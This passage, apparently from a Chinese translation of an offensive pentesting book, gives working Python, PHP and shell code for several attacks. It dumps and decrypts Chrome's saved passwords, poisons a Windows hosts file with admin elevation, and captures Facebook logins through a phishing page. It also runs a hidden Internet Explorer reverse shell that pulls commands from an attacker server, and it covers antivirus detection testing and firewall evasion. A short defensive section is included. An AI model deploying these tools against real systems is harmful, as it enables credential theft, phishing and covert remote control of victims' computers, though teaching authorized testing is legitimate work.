访问 Sites | Finance | paypal.com,然后右键点击并选择编辑。如果点击密码选项旁边的眼睛图标,您将能看到密码,这个密码与我们从 Firefox 进程中提取的密码相同。
在进入下一部分之前,请记住,拦截像 PR_Write 这样的函数会严重影响 Firefox 进程的性能,因为该函数将被频繁调用。每次拦截该函数时,会导致延迟,甚至可能导致整个进程崩溃。
在 Firefox EXE 中使用 Python。
在本节中,我们将增强之前的 PoC 脚本,以匹配以下内容:
-
一旦您在内存中获得 pass,打印出内存转储并停止调试,以减少性能问题。
-
将您的脚本导出为独立的 EXE 文件,以便在后期利用阶段使用(使用
Py2exe)。 -
针对杀毒软件进行测试。
-
通过在登录 Twitter、Gmail、PayPal 和 Facebook 账户时进行测试,确保其功能正常。
在回调函数中,添加一个新的 if 语句,以便在获得 pass 关键字后终止调试。在将此脚本发送给目标之前,最好先在本地测试。为此,您可能需要更改 py2exe 设置文件中的控制台模式。
为了测试脚本,我们将登录 Facebook 账户:
-
进入 Facebook 的登录页面。你会看到,LastPass 已经为我们填入了用户名和密码。
-
运行我们的脚本。你将得到 Firefox 进程 ID 和该功能的内存地址。
-
一旦我们点击登录按钮,注意我们从内存中提取的凭证。你会看到电子邮件地址和密码。
-
现在,让我们检查一下这个密码是否确实是 LastPass 中存储的正确密码。为此,首先从 Facebook 注销,然后进入 Sites | Social;现在,右键点击 Facebook.com 并选择编辑。
-
当你点击编辑时,如果你想查看密码值,你会看到我们脚本提取的相同内容。
-
现在,让我们看看相同的工具和技术是否可以在其他网站上使用。为此,我们将关闭 Facebook 页面,前往
www.paypal.com/in/signin进行登录。 -
让我们运行工具并进入 PayPal 账户。你会看到我们获得了用于登录的用户名和密码。
-
现在,让我们验证这是否是 LastPass 中存储的相同密码和用户名。你只需按照之前的步骤操作即可。
-
我们将尝试用 Twitter 做相同的事情,进入 Twitter 的登录页面。
-
像往常一样运行工具,点击登录按钮后,我们可以看到电子邮件地址和密码。
正如我们之前看到的,这些值是十六进制格式的,需要转换为 ASCII 格式。
提醒一下,我们之前看到的键盘记录器或剪贴板劫持技术,在类似的场景下是无法使用的,因为我们没有输入或粘贴任何数据。
从 Google Chrome 中提取保存的密码
在这一部分,我们将讨论另一种密码破解技术。这种技术最初是为了解决忘记密码时找回密码的问题。我们将利用这个技术,远程破解保存的密码。为了让这种攻击成功,目标必须使用 Google Chrome,并且他们应该已经保存了登录密码。让我们来看看这是如何工作的。登录 Facebook 账户后,你会注意到屏幕右上角出现一个提示,询问你是否保存密码,旁边有一个“保存密码”按钮。如果我们的目标点击了保存密码,那么我们将能够远程获取该密码。
我们现在来看一下如何操作。首先从 Facebook 注销。
远程获取密码
让我们先来了解 Google Chrome 是如何存储和恢复保存的密码的:

所以,第一个事实是,我们应该知道 Google Chrome 使用 Windows 登录密码作为密钥来执行加密和解密过程。第二个我们需要知道的事情是,已加密的密码存储在一个名为 Login Data DB 的 SQLite 数据库中,并且该数据库位于路径 C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default。
Google Chrome 调用一个特定的 Windows API 函数CryptProtectData,它使用 Windows 登录密码作为加密密钥。在反向操作中,调用 Windows API CryptUnProtectData来解密密码值并还原为明文。现在让我们总结一下 Chrome 如何保存密码的过程。
假设我们的目标第一次登录 Facebook 时,Google Chrome 会提示他们保存密码。如果他们点击保存密码,那么 Google Chrome 会将这个明文密码传递给CryptProtectData API,这个 API 会使用 Windows 登录密码加密该密码并将其保存在登录数据数据库中。之后,当目标再次访问 Facebook 页面时,Google Chrome 会检索到加密的密码并将其传递给CryptUnProtectData API 函数。之后,我们就会得到明文密码。然后,Google Chrome 会代表你提交密码。
从技术上讲,如果我们编写一个 Python 脚本来从 Chrome 数据库中抓取加密的密码,并将该值传递给CryptUnprotectData API 函数,那么我们应该能够看到保存的密码以明文格式显示;这正是我们在这里要做的。
在进入代码部分之前,我们先看看 SQL 数据库。这里我们将使用一个免费的开源 SQLite 数据库浏览器:
-
导航到 Google Chrome 创建的 SQLite 数据库。在我的例子中,路径是
C:\Users\Hussam\AppData\Local\Google\Chrome\User Data\Default,Chrome 在这里创建了它的数据库,我们将把Login Data文件复制到桌面。 -
我们需要将扩展名改为 SQLite,这样才能在数据库浏览器中导入。
-
所以现在我们要做的就是点击“打开数据库”,然后前往桌面,打开
Login Data.sqlite3。 -
导入后,你会看到有一个叫做
logins的表。 -
一旦我们点击“浏览数据”,我们就可以看到一些有趣的列:

action_url是用户在提交登录凭证时导航到的 URL,在我们的例子中,它是 Facebook 的 URL。username_value和password_value分别是已提交的用户名和密码的值。
- 我们需要定位 SQLite 数据库,因为
USERNAME目录是一个变量,在不同的电脑上会有所不同。
我们需要从数据库中抓取action_url、username_value和password_value列的值。
- 最后,我们将
password_value传递给CryptUnProtectData函数或 API 函数,解密为明文。
那么,让我们开始编写代码部分:
# Python For Offensive PenTest
# Installing win32crypt
# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
# Dumping Google Chrome Passwords
from os import getenv # To find out the Chrome SQL path which is >> C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Login Data
import sqlite3 # To read the Chrome SQLite DB
import win32crypt # High level library to call windows API CryptUnprotectData
from shutil import copyfile # To make a copy of the Chrome SQLite DB
# LOCALAPPDATA is a Windows Environment Variable which points to >>> C:\Users\{username}\AppData\Local
path = getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login Data"
# IF the target was logging into a site which has an entry into the DB, then sometimes reading the Chrome DB will return an error that the DB is locked
# OperationalError: database is locked
# The Workaround for this, is to make a copy the Login Data DB and pull data out of the copied DB
path2 = getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login2"
copyfile(path, path2)
...
我们将从导入必要的库开始:
-
我们将导入
getenv,来解析 Windows 环境变量并找到 Google Chrome 的 SQL 路径。 -
接下来,我们导入 SQLite3 来读取 Chrome 的 SQLite 数据库并获取其原始值。
-
我们导入了
win32crypt,它提供了一个高级库来调用 Windows APICryptUnProtectData。请记住,要使用这个库,我们首先需要从sourceforge.net/projects/pywin32/files/pywin32/Build%20219/安装pywin32库。
LOCALAPPDATA 是一个 Windows 环境变量,指向 C:\Users,然后是 username,接着是 AppData\Local 路径——这就是我们完整路径的一半。所以,一旦我们得到了这一部分,接下来只需将路径的第二部分附加上,方法是添加 \Google\Chrome\User Data\Default\Login Data,以获得 Login Data 数据库的绝对路径。
如果目标用户正在登录某个网站,并且该网站在数据库中有条目,那么有时读取 Chrome 数据库时会返回一个错误,提示数据库被锁定;当你运行 Python 脚本时,会遇到一个名为 database is locked 的异常。在我们的例子中,如果目标用户在我们要读取 Chrome 数据库时已经登录 Facebook,那么我们希望能够读取。解决方法是复制登录数据库并从复制的数据库中提取数据。因此,这里复制的数据库被命名为 Login2,并且与原始数据库位于同一目录下。此时,我们已经完成了定位数据库的第一步。
由于原始数据库可能被锁定,我们将从复制的数据库中读取数据。我们通过使用 sqlite3.connect 函数,指向复制的数据库路径来完成这项操作:
...
# Connect to the copied Database
conn = sqlite3.connect(path2)
cursor = conn.cursor() # Create a Cursor object and call its execute() method to perform SQL commands like SELECT
# SELECT column_name,column_name FROM table_name
# SELECT action_url and username_value and password_value FROM table logins
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
...
接着,我们创建一个游标对象,以便执行 SQL 查询来提取所需的列。如果你还记得,表名是 login,它有三列重要数据,分别是 username 和 password_value,以及 action_url。
然后,我们将选择这些列,并使用带有 fetchall 函数的 for 循环来提取它们的值:
...
# To retrieve data after executing a SELECT statement, we call fetchall() to get a list of the matching rows.
for raw in cursor.fetchall():
print raw[0] + '\n' + raw[1] # print the action_url (raw[0]) and print the username_value (raw[1])
...
结果将存储在一个原始变量中,然后我们将打印出列表中的前两个值,即 action_url 和 username_value。这样做之后,我们就完成了计划的第二步,从 Chrome 数据库中提取数据。
最后一步是调用 CryptUnProtectData API 函数,并传入加密的密码,这个密码存储在我们原始列表的第三个元素中。最终,我们将打印出结果:
...
password = win32crypt.CryptUnprotectData(raw[2])[1] # pass the encrypted Password to CryptUnprotectData API function to decrypt it
print password # print the password in clear text
conn.close()
现在,运行模块时你会看到我们得到三个项:URL、用户名和明文密码。
尝试再次确认这些是否是登录我 Facebook 账户的正确凭据。也可以尝试其他网站,比如 Twitter、PayPal 等。
通过 HTTP 会话提交恢复的密码。
在本节中,我们将修改之前的脚本,以自动提交恢复或被攻击的密码通过 HTTP 会话。然后,我们将把它发送回黑客机器,最终结果应该是一个独立的文件,可以在后期利用或作为一个与新 Python Shell 集成的功能。
我们将在 Kali 机器上启动 HTTP 服务器,以接收目标网站的被黑密码。我们只需双击 Chrome Dumper EXE 文件。你会看到,我们成功地从 Chrome 数据库中远程获取了保存的密码。在这里,我们抓取了 Facebook 的邮箱和密码,还有 Twitter 账户。现在,如果我们切换到目标机器上,我们会看到以下是当前在目标站点上打开的两个会话:

对防病毒软件进行文件测试
我们将使用知名网站 VirusTotal,并上传我们的 Google Dumper 文件。
为此,导航到我们的 Chrome Dumper 文件,并上传和扫描文件。上传 Chrome Dumper 文件并扫描其内容。
你会看到有多少防病毒软件会触发警告。现在,我想说,如果触发警告的防病毒软件不多,我们就得到了一个不错的结果。如果有人能够使用 PyInstaller 尝试编译脚本并进行测试,他们可能会得到不同的结果。
密码钓鱼 – DNS 劫持
操控流量方向的一种最简单的方法是操作 DNS 记录。每个操作系统都包含一个主机文件,用于将主机名静态映射到特定的 IP 地址。主机文件是一个纯文本文件,只要我们拥有管理员权限,就可以轻松地重新写入它。现在,让我们快速浏览一下 Windows 操作系统中的主机文件。
在 Windows 中,该文件位于 C:\Windows\System32\drivers\etc 下。让我们看看 host 文件的内容:

如果你阅读描述,你会看到每个条目应该位于单独的一行上。此外,记录格式中有一个示例,其中 IP 地址应该放在前面。然后,至少有一个空格,后面跟着主机名。你还会看到每个记录中,IP 地址是首先出现的,接着是主机名。
现在,让我们看看数据包级别的流量:
-
打开目标机器上的 Wireshark 并开始抓包。
-
按攻击者的 IP 地址进行过滤:

我们有一个 10.10.10.100 的 IP 地址,这是我们的攻击者的 IP 地址。我们可以看到在劫持 DNS 记录之前的流量。你需要点击应用来完成该过程。
- 打开
www.google.jo/?gws_rd=ssl。注意,一旦我们从命令行 ping 该名称,操作系统会在后台进行 DNS 查找:

我们将获取真实的 IP 地址。现在,注意在 DNS 投毒后会发生什么。为此,关闭所有窗口,除了运行 Wireshark 应用程序的那个窗口。
记住,我们应该以管理员身份运行,以便能够修改 hosts 文件。
-
现在,即使我们以管理员身份运行,在运行应用程序时,仍然需要明确右键点击并选择“以管理员身份运行”。
-
导航到
hosts文件所在的目录。 -
执行
dir,你会看到hosts文件。 -
运行
type hosts。你可以看到这里是原始的 host。 -
现在,我们将输入以下命令:
echo 10.10.10.100 www.google.jo >> hosts
10.10.100是我们 Kali 机器的 IP 地址。所以,一旦目标访问google.jo,它应该会被重定向到攻击者机器。
-
再次通过执行
type hosts验证主机。 -
现在,修改 DNS 后,刷新 DNS 缓存总是一个好主意,这样可以确保我们使用的是更新的记录。为此,请输入以下命令:
ipconfig /flushdns
-
现在,看看 DNS 投毒后会发生什么。为此,我们将打开浏览器并访问
www.google.jo/?gws_rd=ssl。请注意,在 Wireshark 中,流量正通过 Kali 的 IP 地址,而不是google.jo的真实 IP 地址。这是因为google.jo的 DNS 解析结果是10.10.10.100。 -
我们将停止捕获并恢复原始的
hosts文件。然后,我们将把这个文件放到drivers\etc文件夹中。 -
现在,让我们先通过运行以下命令来刷新被污染的 DNS 缓存:
ipconfig /flushdns
- 然后,再次打开浏览器。我们现在应该访问
www.google.jo/?gws_rd=ssl。现在我们可以开始了!
使用 Python 脚本
现在,我们将自动化这些步骤,但这次通过 Python 脚本来完成。
打开脚本并输入以下代码:
# Python For Offensive PenTest
# DNS_Poisoning
import subprocess
import os
os.chdir("C:\Windows\System32\drivers\etc") # change the script directory to ..\etc where the host file is located on windows
command = "echo 10.10.10.100 www.google.jo >> hosts" # Append this line to the host file, where it should redirect
# traffic going to google.jo to IP of 10.10.10.100
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
command = "ipconfig /flushdns" # flush the cached dns, to make sure that new sessions will take the new DNS record
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
我们要做的第一件事是将当前工作目录更改为与hosts文件相同的位置,这将通过OS库来完成。然后,使用子进程,我们将附加一个静态 DNS 记录,将 Facebook 指向10.10.10.100:Kali 的 IP 地址。在最后一步,我们将刷新 DNS 记录。现在我们可以保存文件并将脚本导出为 EXE。
记住,我们需要让目标以管理员身份执行它。为此,在py2exe的设置文件中,我们将添加一行,如下所示:
...
windows = [{'script': "DNS.py", 'uac_info': "requireAdministrator"}],
...
所以,我们添加了一个新选项,指定当目标执行 EXE 文件时,我们将要求提升我们的权限为管理员。为此,我们将需要管理员权限。
让我们运行设置文件并开始新的捕获。现在,我将我们的 EXE 文件复制到桌面。注意这里,我们看到一个小盾牌,表示这个文件需要管理员权限,这将为我们提供运行管理员权限的确切结果。现在,让我们运行该文件。验证文件的 host 是否已被修改。你将看到我们的行已被添加。
现在,打开一个新的会话,我们将看看是否获得了重定向。我们开始一个新的捕获,并将其添加到 Firefox 中。正如你所看到的,google.jo的 DNS 查找指向了我们的 IP 地址,即10.10.10.100。
在接下来的部分,我们将看到如何利用这一点进行密码钓鱼。
Facebook 密码钓鱼
在前一部分中,我们看到只需要几行 Python 代码,就可以将流量重定向到攻击者的机器,而不是访问www.google.jo/?gws_rd=ssl。这一次,我们将看到攻击者如何利用修改 Facebook 的 DNS 记录,重定向流量到钓鱼页面,并抓取账户密码。
首先,我们需要设置一个钓鱼页面。
你不需要成为网页编程的专家。你可以轻松地通过 Google 搜索准备钓鱼账户的步骤。
-
要创建一个钓鱼页面,首先打开你的浏览器并导航到 Facebook 登录页面。然后,在浏览器菜单中点击文件,再点击“另存为...”。然后,确保从下拉菜单中选择完整页面。
-
输出应该是一个
.html文件。 -
现在让我们在这里提取一些数据。打开书中提供的代码文件中的
Phishing文件夹。将 Facebook 的 HTML 页面重命名为index.html。 -
在这个 HTML 中,我们必须更改登录表单。如果你搜索
action=,你会看到它。在这里,我们将登录表单更改为将请求重定向到一个名为login.php的自定义 PHP 页面。此外,我们还必须将请求方法更改为GET,而不是POST。 -
你会看到我在同一个
Phishing目录下添加了一个login.php页面。如果你打开文件,你会看到以下脚本:
<?php
header("Location: http://www.facebook.com/home.php? ");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
一旦目标点击“登录”按钮,我们将把数据作为GET请求发送到这个login.php,并将提交的数据存储在我们的passwords.txt文件中;然后,我们将关闭它。
-
接下来,我们将创建
passwords.txt文件,目标凭据将存储在其中。 -
现在,我们将把所有这些文件复制到
\var\www,并启动 Apache 服务。 -
如果我们在本地打开
index.html页面,我们将看到这是目标将看到的钓鱼页面。
让我们快速回顾一下当目标点击“登录”按钮时会发生什么?一旦目标点击“登录”按钮,目标的凭据将作为GET请求发送到login.php。记住,这会发生是因为我们修改了action参数,将凭据发送到login.php。之后,login.php最终会将数据存储到passwords.txt文件中。
现在,在我们启动 Apache 服务之前,让我确保我们获得了一个 IP 地址。
- 输入以下命令:
ifconfig eth0
你可以看到我们正在运行10.10.10.100,并且我们也会使用以下命令启动 Apache 服务:
service apache2 start
- 让我们验证一下我们是否在监听
80端口,并且监听的服务是 Apache:
netstat -antp | grep "80"
现在,让我们跳转到目标端看一眼。
在前面的部分,我们在脚本中使用了google.jo。在这里,我们已经修改了之前的脚本,将 Facebook 流量重定向到我们的攻击者机器上。因此,我们的目标所需要做的就是双击 EXE 文件。现在,为了验证:
-
让我们启动 Wireshark,然后开始抓包。
-
我们将过滤攻击者 IP,即
10.10.10.100:

- 打开浏览器并访问
www.facebook.com/:

一旦我们这样做,就会跳转到钓鱼页面。在这里,你会看到目标 IP 地址,也就是 Kali 的 IP 地址。所以,在目标端,当我们访问或点击www.facebook.com/时,我们实际上是在查看index.html,它设置在 Kali 机器上。一旦受害者点击登录页面,我们将以GET请求的方式将数据发送到login.php,并将其存储到当前为空的passwords.txt中。
- 现在,使用你的用户名和密码登录 Facebook,并跳到 Kali 端查看
passwords.txt文件是否有任何内容。你会看到它仍然是空的。这是因为默认情况下,我们没有写入数据的权限。现在,为了解决这个问题,我们将给予所有文件完全权限,即读、写和执行:
chmod -R 777 /var/www/
请注意,我们之所以这样做,是因为我们正在虚拟机环境(VirtualBox)中运行。如果你有一个面向公众的 Web 服务器,给所有文件完全权限是一种不良实践,因为这可能导致权限提升攻击,攻击者可能上传恶意文件或篡改文件,然后浏览到文件位置执行自己的命令。
- 现在,在赋予权限后,我们将
停止和启动Apache 服务器,以防万一:
service apache2 stop
service apache2 start
- 完成此修改后,前往目标机器并再次尝试登录 Facebook。然后,去 Kali 机器,点击
passwords.txt。你会看到来自目标端提交的数据,并且可以看到用户名和密码。
最后,钓鱼活动的一个良好指示标志是缺少https标志。
在接下来的部分,我们将讨论如何保护自己并保障你的账户免受这些攻击。此外,你需要确保在完成评估后关闭 Apache 服务器。
应对措施
在本节中,我们将讨论四种方法,帮助你保护在线账户。请注意,这些方法并不是唯一可用的方式。然而,按照这些步骤操作应该能为你的账户提供一个合理的安全水平。
保护在线账户
首先,从使用供应商提供的安全服务开始。我强烈建议在所有账户上启用第二步身份验证(有时也叫一次性密码),比如 Gmail、LinkedIn 和 PayPal,任何时候这个选项可用时都应该启用。启用后,每次登录时,它会要求你输入用户名和密码,第二步是输入一次性密码,通常会通过短信、应用程序,甚至是电子邮件发送给你。现在,这个一次性密码通常只能在 30 秒内使用。
以下是一些链接,它们指导你如何轻松且有效地启用此功能,适用于一些服务,如 Gmail、Twitter 等:
-
Gmail 提供短信和 Gmail 移动应用:
-
Twitter 提供移动应用和短信服务:
在进入下一个步骤之前,我需要提到,即使启用了第二步身份验证,我们仍然容易受到会话劫持漏洞的攻击,攻击者可以在第二步身份验证后劫持会话或 cookies,然后将该会话重新注入到自己的系统中。你还需要注意每次登录时的安全性。每当有新设备登录你的账户时,你通常会通过电子邮件收到一条通知,告知你有陌生的登录行为。
它还会向你提供一些信息,比如操作系统或时间戳。前面的截图显示了 Windows 操作系统,说明你已在新的设备上登录了你的账户。同时,它还会提示你如果这是一次可疑活动应该采取的措施。
为了避免这种情况,你需要确保密码足够复杂,并避免使用简单或弱的密码。
保护你的计算机安全
现在我们来看如何保护你的设备安全。对于计算机,以下是你需要考虑的步骤:
-
始终使用非管理员账户
-
保持浏览器和系统更新
-
考虑我们在上一节中讨论的应对措施
保护你的网络安全
现在,让我们来看如何保护你的网络,以保护你的数据传输安全。如果你不得不使用不受信任的网络,如咖啡馆的 Wi-Fi,来访问你的敏感数据(如银行账户或 PayPal 账户),那么你应该使用一个可信赖的 VPN 来建立一个安全的隧道,防止局域网攻击。毫无疑问,VPN 会提供身份验证和加密等功能,这将帮助防御局域网攻击,如中间人攻击。
监控任何可疑活动
现在,让我们来看如何在登录页面上注意任何异常情况,例如 URL 栏中缺少 https 就是一个很好的钓鱼活动指示,攻击者可能会将你的流量重定向到恶意登录页面;或者如果攻击者在中间(如中间人攻击),他可以使用像 SSL strip 这样的工具去除 SSL 加密,将你的数据转为明文。
如果你是一个对安全非常敏感的人,即使看到绿色的https标签,你也可以再次检查从网站获得的证书状态。例如,这是 Facebook 服务器证书的截图:

我们可以看到证书是颁发给所有 Facebook 域的,并且颁发机构是 DigiCert。
此外,证书路径将显示该证书的健康状态;并且如果存在任何子 CA(证书颁发机构)或中间证书,这些也会显示出来。
接下来,我们应该特别小心那些在浏览器显示证书错误后才显示登录页面的网站,因为攻击者可能会设置代理服务器并提供伪造的证书,在中间人攻击(Man-in-the-middle Attack)过程中拦截流量。不同浏览器可能会以不同的方式显示该证书错误的通知。
对于诈骗邮件,请记住,没有人会通过电子邮件询问你的密码,或者通过电子邮件向你发送登录链接。
总结
在本章中,我们了解了如何配置键盘记录器,并处理了密码管理器来安全存储设备凭证。我们还学习了一种新方法——浏览器中的中间人攻击(Man in the Browser)。此外,我们还看到了如何使用 Immunity Debugger 进行 Firefox API 钩取,并进行了密码钓鱼过程演示。
最后,我们讨论了如何保护自己并确保账户安全的对策。
在下一章,我们将设置自己的黑客环境,使用 VirtualBox。
第四章:追捕我吧!
在今天的世界里,绕过和劫持软件在互联网上到处都是。然而,明确的使用和执行方式才是让你成为一名优秀的业余黑客的关键。
这可以通过正确选择工具并遵循必要的过程,完美地完成手头的任务来实现。
在本章中,我们将涵盖以下主题,帮助你实现这一目标:
-
绕过基于主机的防火墙
-
劫持 IE
-
绕过拒绝过滤
-
与 SourceForge 互动
-
与 Google Forms 互动
-
绕过僵尸网络过滤
-
利用手工 XOR 加密绕过 IPS
绕过基于主机的防火墙
在我们之前的所有章节中,我们假设目标机器上的任何进程都可以在没有任何限制的情况下启动与互联网的连接。现在,在许多企业网络中,他们不再依赖内置的 Windows 防火墙。相反,他们使用高级的基于主机的防火墙来限制哪些进程可以启动与互联网的连接,就像访问控制列表(ACL)一样工作。因此,假设系统管理员只允许一些业务所需的进程访问互联网。例如,假设系统管理员允许 Windows 更新和杀毒软件更新,以及常见的浏览器,如 Chrome、Internet Explorer 和 Firefox。因此,只有这些进程被允许访问互联网,其他任何进程都会被阻止。通过实施这样的策略,我们的后门无法存活,因为它默认不会列入管理员的允许列表。最终,我们无法获得对攻击者机器的 shell。
然而,如果我们找到一种方法,能够利用我们的 Python 脚本某种方式控制Internet Explorer(IE),然后迫使它在后台连接到我们的 Kali HTTP 服务器并来回传输命令,那么我们就能绕过基于主机的防火墙策略。微软提供了组件对象模型(COM),以支持进程间通信,并通过编程方式创建对象来控制和自动化多个微软产品,如 Outlook、Internet Explorer、Word 和 Excel。Internet Explorer 是所有 Windows 版本中内置的浏览器;因此,它应该始终可用,并且通常被安全管理员列为白名单中的备份浏览器,以防其他浏览器无法使用。让 Internet Explorer 代替我们发起连接的另一个好处是,如果目标在连接互联网之前使用了内部代理,那么你不必担心知道代理信息,因为 Internet Explorer 会为我们处理这一切。
所以,我们在这里做的是假设主机防火墙只允许某些进程,如杀毒软件、Firefox、Internet Explorer 或 Windows 更新,其他的都不允许。为此,在我们的 Python 脚本中,我们将定义一个 COM 对象来控制 Internet Explorer。然后,我们将让 Internet Explorer 导航到我们位于 Kali 机器上的 HTTP 服务器,并获取需要执行的命令。
一旦我们得到需要执行的命令,我们将启动一个子进程。我们检索命令并传递给 EXE。然后,使用 COM 对象,我们将通过 Python 脚本将其返回并启动cmd.exe作为子进程。使用 COM 对象获取的命令结果,我们会将其传递给 Internet Explorer,然后将其发布到我们位于 Kali 机器上的网站。如果你记得,这种技术与我们之前的 HTTP 反向 Shell 非常相似,但这里的关键区别是我们使用 Internet Explorer 作为我们的 Web 客户端,而不是像之前那样使用requests库。从主机防火墙的角度来看,最终的结果是,Python 脚本并没有启动任何外部会话,而是 Internet Explorer 启动了会话。
以下链接将提供有关 COM 协议的更多信息:claudihome.com/html/LR/WebHelp/Content/VuGen/132800_click_and_script.htm
劫持 IE
一如既往,使用 Python 编程将使你的生活更加轻松。现在,要在 Python 中使用 COM,你只需要安装 Python for Windows 或pywin库。由于我们在创建之前的键盘记录器时已经安装了这个库,这里就不再详细讲解了。现在,让我们进入编码部分:
# Python For Offensive PenTest
# Install Python for Windows pywin32-219.win32-py2.7
# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
# Hijacking IE - Shell Over IE
from win32com.client import Dispatch
from time import sleep
import subprocess
ie = Dispatch("InternetExplorer.Application") # Create browser instance.
ie.Visible = 0 # Make it invisible [ run in background ] (1= invisible)
...
在这里,我们通过创建一个InternetExplorer对象实例并将 Visible 选项设置为 0,意味着 Internet Explorer 将在后台运行。
如果我们将值设置为 1,那么 Internet Explorer 窗口将显示到目标桌面上,这是我们不希望发生的。
...
# Paramaeters for POST
dURL = "http://10.10.10.100"
Flags = 0
TargetFrame = ""
while True:
ie.Navigate("http://10.0.10.100") # Navigate to our kali web server to grab the hacker commands
while ie.ReadyState != 4: # Wait for browser to finish loading.
sleep(1)
command = ie.Document.body.innerHTML
command = unicode(command) # Converts HTML entities to unicode. For example '&' becomes '&'
command = command.encode('ascii','ignore') # encode the command into ASCII string and ignore any exception
print ' [+] We received command ' + command
if 'terminate' in command: # if the received command was terminate
ie.Quit() # quit the IE and end up the process
break # end the loop
else: # if the received command was NOT terminate then we inject the command into a shell and store the result in a variable called Data
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
Data = CMD.stdout.read()
PostData = buffer( Data ) # in order to submit or post data using COM technique , it requires to buffer the data first
# https://docs.python.org/2/library/functions.html#buffer
ie.Navigate( dURL, Flags, TargetFrame, PostData ) # we post the comamnd execution result along with the post parameters which we defined earlier..
sleep(3)
接下来,我们开始进入一个无限循环,并导航到我们的 Kali IP 地址。我们将等待浏览器完成加载。如果浏览器没有完全加载页面,我们会休眠一秒钟。请注意,当浏览器加载完成时,ReadyState的值为4,此时第二个循环将被终止。
接下来,我们将 HTML 页面加载到一个名为command的变量中;然后,我们将 HTML 实体转换为unicode。最后,我们将命令编码为 ASCII 字符串,并忽略在此过程中可能发生的任何异常。最终结果将是我们应该执行的命令,并且我们会将其打印出来。与我们之前的 Shell 一样,如果我们从 Kali 机器获得terminate命令,我们将退出 Internet Explorer 实例并break循环。如果命令没有终止,我们就将命令注入到 Shell 中,并将结果存储在一个名为Data的变量中。现在,为了使用 COM 技术提交或发布Data,首先需要对Data进行buffer处理,我们使用了 Python 内置的buffer()函数来实现这一点。最后,我们将命令执行结果与之前定义的POST参数一起提交。我们从未使用过Flags或TargetFrame,所以我们将它们设置为默认值。这里的主要参数是dURL,它定义了我们希望提交数据的目标 URL。
让我们稍微跳到攻击者的一方,这里我们使用的正是之前在 HTTP 反向 Shell 中使用的那个 HTTP Web 服务器。启动目标端脚本后,Internet Explorer 将在后台启动,正如我们从以下截图中的 Windows 任务管理器的进程标签可以看到的那样:

如你所见,它对用户完全不可见。IE 正在运行,但正如我们所看到的,GUI 并没有出现在应用程序标签中。在受害者端的 Kali 机器上执行ipconfig命令时,我们获得了ipconfig命令的输出。接下来,我们可以访问目录以及执行其他命令。你还可以执行一个快速的ping 10.10.10.100:
dir
cd
whoami
arp -a
ping 10.10.10.100
输出将类似于以下内容:
[+] We received command ipconfig
[+] We received command dir
[+] We received command cd
[+] We received command whoami
[+] We received command arp -a
[+] We received command ping 10.10.10.100
我们的 Shell 已经完全可用了。那么,再次解释一下刚刚发生了什么:
-
我们的 Python 脚本在后台启动了 Internet Explorer 进程,并且我们使用 Internet Explorer 导航到 Kali 端的命令和控制服务器。
-
然后,我们通过
GET和POST方法在它们之间来回传输数据。 -
现在,最后注意,这不仅限于一个 Shell。你还可以通过 COM 协议传输文件和提交数据。
-
我们将留给你去发现使用 COM 协议时可以做的其他功能。
绕过下一代防火墙中的信誉过滤
下一代防火墙是集成式防火墙。它们在一个设备中具备所有安全功能,如 IPS、杀毒、反垃圾邮件和信誉过滤等。在这一部分中,我们将讨论一个重要的安全功能,它可以防止我们在目标上成功获取 shell。现在,假设我们已经成功在目标机器上植入了 Python 反向 shell。现在,在传统防火墙中,如果访问控制列表(ACL)允许外部流量,则我们会成功获取到 shell。但如果防火墙正在进行信誉过滤,那么一旦客户端发起会话并返回到我们的 Kali 机器并到达防火墙时,防火墙将进行查找并检查目标 IP。然后,它会检查目标 IP 是否属于恶意网站。这个检查是基于 IP 池进行的,IP 池是防火墙从厂商数据库下载的 IP 列表。因此,如果是 Cisco 防火墙,它会使用 Cisco 数据库。如果是 Palo Alto 防火墙,它会使用 Palo Alto 池。这个数据库或池包含了大量带有信誉排名的 IP 列表。
例如,假设在 IP 或数据库中有一个 IP 地址 1.1.1.1,它的排名为 10,意味着它完全可以信任。同时,我们还有一个 IP 地址 2.2.2.2,它的排名较低为 2,这意味着它被报告为恶意 IP。假设攻击者的 IP 地址是 3.3.3.3。当发起的会话到达防火墙,并且目标 IP 地址为 3.3.3.3 时,如果这个 IP 没有被列入白名单,并且在 IP 数据库中的排名较低,那么防火墙将丢弃该流量,并将此决策记录到管理员日志中。
这里的想法是使用像 Google Forms 这样的服务器或网站提交文本,或者可能使用 SourceForge 上传文件。这样做的好处是,首先,这两个服务器或服务都非常知名,且在 10 分制中的信誉排名很高。因此,我们预计会在 IP 池或 IP 数据库中看到www.google.com或 Google Forms,且其排名为 10。其次,它可能从未被安全管理员或实时监控流量的人员标记为可疑。
与 SourceForge 互动
在本节中,我们将看到如何轻松地将文件上传到 SourceForge。从声誉过滤的角度来看,SourceForge 通常是白名单的,可能从未被安全管理员关注过。SourceForge 提供多种与其存储库交互的方式。我们将使用 SCP,这是通过 SSH 会话传输文件。现在,在 SourceForge 创建帐户很容易,因此我们将跳过这部分。在开始之前,花一分钟阅读 SourceForge 有关使用 SCP 和所需格式的文档,sourceforge.net/p/forge/documentation/SCP/。我将登录我的账户,我已经创建了一个名为Test的项目,目前没有任何文件。
现在让我们立即进入编码部分。我们将使用两个库来完成我们的工作:
# Python For Offensive PenTest
# Interacting with SourceForge
import paramiko # pip install paramiko
import scp # download link: https://pypi.python.org/pypi/scp
...
第一个库是paramiko。paramiko是 SSHv2 协议的 Python 实现,提供客户端和服务器功能。scp是在paramiko之上构建的更高级库,用于在一行代码中传输文件。
